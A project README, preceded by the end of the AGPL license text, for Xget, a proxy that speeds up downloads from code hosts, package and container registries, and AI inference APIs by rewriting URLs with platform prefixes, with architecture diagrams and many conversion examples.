This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
.
================================================
FILE: README.md
================================================
# Xget 🚀
[](https://zread.ai/xixu-me/Xget)
[](https://deepwiki.com/xixu-me/Xget)
[](https://codecov.io/github/xixu-me/xget)
[](#-ecosystem-integration)
[](#-ecosystem-integration)
[](#deploy-to-cloudflare-workers)
[](#deploy-to-edgeone-pages)
[](#deploy-to-vercel)
[](#deploy-to-netlify)
[](#deploy-to-deno-deploy)
[](#self-hosted-deployment)
[](#self-hosted-deployment)
**English** | [汉语(简体)](README.zh-Hans.md) |
[漢語(繁體)](README.zh-Hant.md)
[](#github)
[](#gitlab)
[](#gitea)
[](#codeberg)
[](#sourceforge)
[](#aosp-android-open-source-project)
[](#hugging-face-mirror)
[](#civitai-ai-model-platform)
[](#npm-package-acceleration)
[](#python-package-acceleration)
[](#conda-package-acceleration)
[](#maven-package-acceleration)
[](#apache-software-download-acceleration)
[](#gradle-package-acceleration)
[](#homebrew-package-acceleration)
[](#ruby-package-acceleration)
[](#r-package-acceleration)
[](#perl-package-acceleration)
[](#texlatex-package-acceleration)
[](#go-module-acceleration)
[](#nuget-package-acceleration)
[](#rust-package-acceleration)
[](#php-package-acceleration)
[](#flathub-repository-mirror)
[](#debianubuntu-apt-configuration)
[](#debianubuntu-apt-configuration)
[](#fedora-dnf-configuration)
[](#rocky-linux-dnf-configuration)
[](#opensuse-zypper-configuration)
[](#arch-linux-pacman-configuration)
[](#arxiv-paper-download)
[](#f-droid-repository-mirror)
[](#jenkins-plugin-download)
[](#container-registries)
[](#ai-inference-providers)
Ultra-high-performance, secure, all-in-one acceleration engine for developer
resources that significantly outperforms traditional solutions, delivering
unified, efficient acceleration across code repositories, model and dataset
hubs, package registries, container registries, AI inference providers, and
more.
In-depth technical analysis article published:
**_[Deep Dive into Xget: A High-Performance, Multi-Protocol, and Secure Acceleration Engine for Developer Resources](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)_**.
Xget was invited to join the
[GitCode platform](https://gitcode.com/xixu-me/xget) and recognized as a G-Star
graduation project. It has also received spontaneous recommendations from
several well-known tech creators, including
[Ruan Yifeng](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget),
[GitHubDaily](https://x.com/i/status/1956204203937829256),
[FishC](https://www.bilibili.com/video/BV1EeeBzVEop/), and
[Xuanli 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8). Sincere thanks
to GitCode and every creator, reader, and user who helped more people discover
Xget.
## 🎯 Quick Start
**Pre-deployed Instance (no reliability guarantee): `xget.xi-xu.me`**
**URL Converter:** [**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - Convert any
supported platform URL to Xget's acceleration format with one click
**Agent Skills:** [**`skills/xget/`**](skills/xget/) - Designed to work as a
standalone `/xget` directory in a skills installation
## 🌟 Core Advantages - Why Choose Xget?
### ⚡ Extreme Performance - Breaking Through Traditional Accelerator Bottlenecks
- **⚡ Millisecond Response**: Cloudflare's global 330+ edge nodes, average
response time < 50ms
- **🌐 HTTP/3 Ultra-Fast Protocol**: Latest HTTP/3 protocol enabled, 40%
reduction in connection latency, 30% increase in transmission speed
- **📦 Intelligent Multi-Compression**: Triple compression algorithms (gzip,
deflate, brotli), 60% improvement in transmission efficiency
- **🔗 Zero-Latency Pre-Connection**: Connection warm-up and keep-alive,
eliminating handshake overhead for second-level responses
- **⚡ Parallel Chunked Download**: Full support for HTTP Range requests,
multiplied multi-threaded download speeds
- **🎯 Smart Routing Optimization**: Automatically selects optimal transmission
paths, avoiding network congestion nodes
### 🌐 Deep Multi-Platform Integration
- **All-in-One Multi-Platform Support**: Unified support for mainstream
platforms in various development scenarios
- **Intelligent Recognition and Conversion**: Automatically recognizes platform
prefixes and converts to correct URL structures for target platforms
- **Consistent Acceleration Experience**: Enjoy unified and stable ultra-fast
download experience regardless of file type or source
### 🔒 Enterprise-Grade Security
- **Multi-Layer Security Headers**:
- `Strict-Transport-Security`: Enforces HTTPS transmission, prevents
man-in-the-middle attacks
- `X-Frame-Options: DENY`: Prevents clickjacking attacks
- `X-XSS-Protection`: Built-in XSS protection mechanism
- `Content-Security-Policy`: Strict content security policy
- `Referrer-Policy`: Controls referrer information leakage
- **Request Validation Mechanism**:
- HTTP method whitelist: Regular requests limited to GET/HEAD, while Git/LFS,
container registry, AI inference, and Hugging Face API traffic allow `POST`,
`PUT`, `PATCH`, and `DELETE` as needed
- Path length limit: Prevents excessively long URL attacks (max 2048
characters)
- Input sanitization: Prevents path traversal and injection attacks
- **Timeout Protection**: 30-second request timeout, prevents resource
exhaustion and malicious requests
### 🚀 Modern Architecture and Reliability
- **Intelligent Retry Mechanism**:
- Maximum 3 retries with linear delay strategy (1000ms × retry count)
- Automatic error recovery, improved download success rate
- Timeout detection and interruption handling
- **Efficient Caching Strategy**:
- 1800 seconds (30 minutes) default cache duration, significantly reduces
origin server pressure
- Git operations skip caching to ensure real-time data
- Edge caching based on Cloudflare Cache API
- **Performance Monitoring System**:
- Built-in `PerformanceMonitor` class for real-time tracking of request stage
durations
- Detailed performance data provided via `X-Performance-Metrics` response
header
- Cache hit rate statistics and optimization recommendations
### 🎯 Full Git Protocol Compatibility
- **Smart Protocol Detection**:
- Automatically recognizes Git-specific endpoints (`/info/refs`,
`/git-upload-pack`, `/git-receive-pack`)
- Detects Git client User-Agent patterns
- Supports query parameters like `service=git-upload-pack`
- **Complete Operation Support**:
- `git clone`: Full repository cloning, supports shallow clones and branch
specification
- `git push`: Code push and branch management
- `git pull/fetch`: Incremental updates and remote synchronization
- `git submodule`: Recursive submodule cloning
- **Protocol Optimization**:
- Preserves Git-specific request headers and authentication information
- Smart User-Agent handling (default `git/2.34.1`)
- Supports Git LFS large file transfer
### 📱 Ecosystem Integration
- **Dedicated Browser Extension**:
[Xget Now](https://github.com/xixu-me/Xget-Now) provides seamless experience
- Automatic URL redirection, no manual URL modification needed
- Support for custom Xget instance domains
- Multi-platform preference settings and blacklist/whitelist management
- Local processing ensures privacy and security
- **Download Tool Compatibility**: Perfect support for wget, cURL, aria2, IDM,
and other mainstream download tools
- **CI/CD Integration**: Can be used directly in GitHub Actions, GitLab CI, and
other environments
## 🏗️ System Architecture
### Request Processing Flow
```mermaid
graph TD
Request[User Request / User-Agent] --> Identify{Identify Platform}
Identify -->|Invalid| Error[Return Error]
Identify -->|Valid| Transform[Transform Path]
Transform --> CheckProtocol{Check Protocol}
CheckProtocol -->|Git| GitHandler[Git Protocol Adapter]
CheckProtocol -->|Docker| DockerHandler[Docker Protocol Adapter]
CheckProtocol -->|AI| AIHandler[AI Inference Adapter]
CheckProtocol -->|Standard| StdHandler[Standard Adapter]
GitHandler --> Upstream[Fetch Upstream]
DockerHandler --> Upstream
AIHandler --> Upstream
StdHandler --> CacheCheck{Check Cache}
CacheCheck -->|Hit| ReturnCache[Return Cached Response]
CacheCheck -->|Miss| Upstream
Upstream -->|Success| ProcessResponse[Process Response]
Upstream -->|Failure| Retry{Retry?}
Retry -->|Yes| Wait["Wait (Backoff)"] --> Upstream
Retry -->|No| Error
ProcessResponse --> Finalize[Add Headers & Return]
Finalize --> Response[Response]
```
### Component Architecture
```mermaid
classDiagram
class Worker {
+fetch(request)
}
class AppHandler {
+handleRequest(request, env, ctx)
}
class PlatformCatalog {
+PLATFORM_CATALOG
}
class PlatformRouting {
+transformPath()
+resolveTarget()
}
class Validation {
+validateRequest()
+isDockerRequest()
}
class GitProtocol {
+configureGitHeaders()
+isGitRequest()
}
class DockerProtocol {
+handleDockerAuth()
+fetchToken()
}
class AIProtocol {
+configureAIHeaders()
}
class UpstreamPipeline {
+tryReadCachedResponse()
+fetchUpstreamResponse()
}
class ResponsePipeline {
+finalizeResponse()
}
class Security {
+addSecurityHeaders()
}
class Performance {
+monitor()
}
Worker --> AppHandler
AppHandler --> PlatformCatalog
AppHandler --> PlatformRouting
AppHandler --> Validation
AppHandler --> GitProtocol
AppHandler --> DockerProtocol
AppHandler --> AIProtocol
AppHandler --> UpstreamPipeline
AppHandler --> ResponsePipeline
AppHandler --> Security
AppHandler --> Performance
PlatformRouting --> PlatformCatalog
```
## 📖 URL Conversion Rules
Using the pre-deployed instance **`xget.xi-xu.me`** or your own deployed
instance, simply replace the domain and add the platform prefix:
### Conversion Format
| Platform | Platform Prefix | Original URL Format | Accelerated URL Format |
| ---------------------- | --------------- | -------------------------------------------------------------------- | --------------------------------------------------------------------------------- |
| GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` |
| GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` |
| GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` |
| Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` |
| Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` |
| SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` |
| AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` |
| Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` |
| Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` |
| npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` |
| PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` |
| conda | `conda` | `https://repo.anaconda.com/...` and `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` and `https://xget.xi-xu.me/conda/community/...` |
| Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` |
| Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` |
| Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` |
| Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` |
| RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` |
| CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` |
| CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` |
| CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` |
| Go Modules | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` |
| NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` |
| Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` |
| Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` |
| Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` |
| Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` |
| Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` |
| Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` |
| Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` |
| openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` |
| Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` |
| arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` |
| F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` |
| Jenkins Plugins | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` |
| Container Registries | `cr` | See [Container Registries](#container-registries) | See [Container Registries](#container-registries) |
| AI Inference Providers | `ip` | See [AI Inference Providers](#ai-inference-providers) | See [AI Inference Providers](#ai-inference-providers) |
### Platform Conversion Examples
#### GitHub
```url
# Original URL
https://github.com/microsoft/vscode/archive/refs/heads/main.zip
# Converted (add gh prefix)
https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
```
#### GitHub Gist
```url
# Original URL
https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
# Converted (add gist prefix)
https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
```
#### GitLab
```url
# Original URL
https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
# Converted (add gl prefix)
https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
```
#### Gitea
```url
# Original URL
https://gitea.com/gitea/gitea/archive/master.zip
# Converted (add gitea prefix)
https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip
```
#### Codeberg
```url
# Original URL
https://codeberg.org/forgejo/forgejo/archive/forgejo.zip
# Converted (add codeberg prefix)
https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip
```
#### SourceForge
```url
# Original URL
https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
# Converted (add sf prefix)
https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
```
#### AOSP (Android Open Source Project)
```url
# AOSP project original URL
https://android.googlesource.com/platform/frameworks/base
# Converted (add aosp prefix)
https://xget.xi-xu.me/aosp/platform/frameworks/base
# AOSP device tree original URL
https://android.googlesource.com/device/google/pixel
# Converted (add aosp prefix)
https://xget.xi-xu.me/aosp/device/google/pixel
```
#### Hugging Face
```url
# Model file original URL
https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# Converted (add hf prefix)
https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# Dataset file original URL
https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
# Converted (add hf prefix)
https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
```
#### Civitai
```url
# AI model download original URL
https://civitai.com/api/download/models/128713
# Converted (add civitai prefix)
https://xget.xi-xu.me/civitai/api/download/models/128713
# Model API original URL
https://civitai.com/api/v1/models/7240
# Converted (add civitai prefix)
https://xget.xi-xu.me/civitai/api/v1/models/7240
# Model version API original URL
https://civitai.com/api/v1/model-versions/128713
# Converted (add civitai prefix)
https://xget.xi-xu.me/civitai/api/v1/model-versions/128713
```
#### npm
```url
# Package file original URL
https://registry.npmjs.org/react/-/react-18.2.0.tgz
# Converted (add npm prefix)
https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz
# Package metadata original URL
https://registry.npmjs.org/lodash
# Converted (add npm prefix)
https://xget.xi-xu.me/npm/lodash
```
#### PyPI
```url
# Python package file original URL
https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz
# Converted (add pypi prefix)
https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz
# Wheel file original URL
https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
# Converted (add pypi prefix)
https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
```
#### conda
```url
# Default channel package file original URL
https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# Converted (add conda prefix)
https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# Community channel metadata original URL
https://conda.anaconda.org/conda-forge/linux-64/repodata.json
# Converted (add conda/community prefix)
https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json
```
#### Maven
```url
# Maven Central Repository JAR file original URL
https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# Converted (add maven prefix)
https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# Maven metadata original URL
https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
# Converted (add maven prefix)
https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
```
#### Apache Software Download
```url
# Apache software download original URL
https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# Converted (add apache prefix)
https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# Apache Maven download original URL
https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# Converted (add apache prefix)
https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# Apache Spark download original URL
https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# Converted (add apache prefix)
https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
```
#### Gradle
```url
# Gradle plugin portal JAR file original URL
https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# Converted (add gradle prefix)
https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# Gradle plugin metadata original URL
https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
# Converted (add gradle prefix)
https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
```
#### Homebrew
```url
# Homebrew formula repository original URL
https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# Converted (add homebrew prefix)
https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# Homebrew API original URL
https://formulae.brew.sh/api/formula/git.json
# Converted (add homebrew/api prefix)
https://xget.xi-xu.me/homebrew/api/formula/git.json
# Homebrew Bottles original URL
https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0
# Converted (add homebrew/bottles prefix)
https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0
```
#### RubyGems
```url
# RubyGems package file original URL
https://rubygems.org/gems/rails-7.0.4.gem
# Converted (add rubygems prefix)
https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem
# RubyGems API original URL
https://rubygems.org/api/v1/gems/nokogiri.json
# Converted (add rubygems prefix)
https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json
```
#### CRAN
```url
# CRAN package file original URL
https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz
# Converted (add cran prefix)
https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz
# CRAN package metadata original URL
https://cran.r-project.org/web/packages/dplyr/DESCRIPTION
# Converted (add cran prefix)
https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION
```
#### CPAN (Perl Package Management)
```url
# CPAN module original URL
https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz
# Converted (add cpan prefix)
https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz
# CPAN author package original URL
https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
# Converted (add cpan prefix)
https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
```
#### CTAN (TeX/LaTeX Package Management)
```url
# CTAN package file original URL
https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip
# Converted (add ctan prefix)
https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip
# CTAN font file original URL
https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
# Converted (add ctan prefix)
https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
```
#### Go Modules
```url
# Go module proxy original URL
https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip
# Converted (add golang prefix)
https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip
# Go module info original URL
https://proxy.golang.org/github.com/gorilla/mux/@v/list
# Converted (add golang prefix)
https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list
```
#### NuGet
```url
# NuGet package download original URL
https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# Converted (add nuget prefix)
https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# NuGet package metadata original URL
https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
# Converted (add nuget prefix)
https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
```
#### Rust Crates
```url
# Crate download original URL
https://crates.io/api/v1/crates/serde/1.0.0/download
# Converted (add crates prefix)
https://xget.xi-xu.me/crates/serde/1.0.0/download
# Crate metadata original URL
https://crates.io/api/v1/crates/serde
# Converted (add crates prefix)
https://xget.xi-xu.me/crates/serde
# Crate search original URL
https://crates.io/api/v1/crates?q=serde
# Converted (add crates prefix)
https://xget.xi-xu.me/crates/?q=serde
```
#### Packagist
```url
# Packagist package metadata original URL
https://repo.packagist.org/p2/symfony/console.json
# Converted (add packagist prefix)
https://xget.xi-xu.me/packagist/p2/symfony/console.json
# Packagist package list original URL
https://repo.packagist.org/packages/list.json
# Converted (add packagist prefix)
https://xget.xi-xu.me/packagist/packages/list.json
```
#### Flathub
```url
# Flathub repository original URL
https://dl.flathub.org/repo/summary
# Converted (add flathub prefix)
https://xget.xi-xu.me/flathub/repo/summary
# Flathub app reference original URL
https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref
# Converted (add flathub prefix)
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
```
#### Linux Distributions
```url
# Debian package original URL
https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# Converted (add debian prefix)
https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# Ubuntu package original URL
https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# Converted (add ubuntu prefix)
https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# Fedora package original URL
https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# Converted (add fedora prefix)
https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# Rocky Linux package original URL
https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# Converted (add rocky prefix)
https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# openSUSE package original URL
https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# Converted (add opensuse prefix)
https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# Arch Linux package original URL
https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
# Converted (add arch prefix)
https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
```
#### arXiv
```url
# arXiv paper PDF original URL
https://arxiv.org/pdf/2301.07041.pdf
# Converted (add arxiv prefix)
https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# arXiv paper source original URL
https://arxiv.org/e-print/2301.07041
# Converted (add arxiv prefix)
https://xget.xi-xu.me/arxiv/e-print/2301.07041
```
#### F-Droid
```url
# F-Droid app APK original URL
https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk
# Converted (add fdroid prefix)
https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# F-Droid app metadata original URL
https://f-droid.org/api/v1/packages/org.fdroid.fdroid
# Converted (add fdroid prefix)
https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### Jenkins Plugins
```url
# Jenkins update center original URL
https://updates.jenkins.io/update-center.json
# Converted (add jenkins prefix)
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins plugin download original URL
https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# Converted (add jenkins prefix)
https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
```
#### Container Registries
Xget supports multiple container registries, using the `cr/[Registry Prefix]`
format:
| Container Registry | Registry Prefix | Original URL Format | Accelerated URL Format |
| ---------------------------- | --------------- | ------------------------------------------- | ------------------------------------------- |
| Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` |
| Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` |
| Google Container Registry | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` |
| Microsoft Container Registry | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` |
| Amazon Public ECR | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` |
| GitHub Container Registry | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` |
| GitLab Container Registry | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` |
| Red Hat Registry | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` |
| Oracle Container Registry | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` |
| Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` |
| DigitalOcean Registry | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` |
| VMware Registry | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` |
| Kubernetes Registry | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` |
| Heroku Registry | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` |
| SUSE Registry | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` |
| openSUSE Registry | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` |
| Gitpod Registry | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` |
```url
# Docker Hub original URL (official images)
https://registry-1.docker.io/v2/library/nginx/manifests/latest
# Converted (add cr/docker prefix)
https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest
# Docker Hub original URL (user images)
https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# Converted (add cr/docker prefix)
https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest
# GitHub Container Registry original URL
https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# Converted (add cr/ghcr prefix)
https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest
# Google Container Registry original URL
https://gcr.io/v2/distroless/base/manifests/latest
# Converted (add cr/gcr prefix)
https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest
```
For use cases, see
[Container Image Acceleration](#container-image-acceleration).
#### AI Inference Providers
Xget supports API acceleration for many mainstream AI inference providers, using
the `ip/[AI Provider Prefix]` format:
| AI Inference Provider | Provider Prefix | Original URL Format | Accelerated URL Format |
| --------------------- | --------------- | ----------------------------------------------- | -------------------------------------------- |
| OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` |
| Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` |
| Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` |
| Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` |
| Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` |
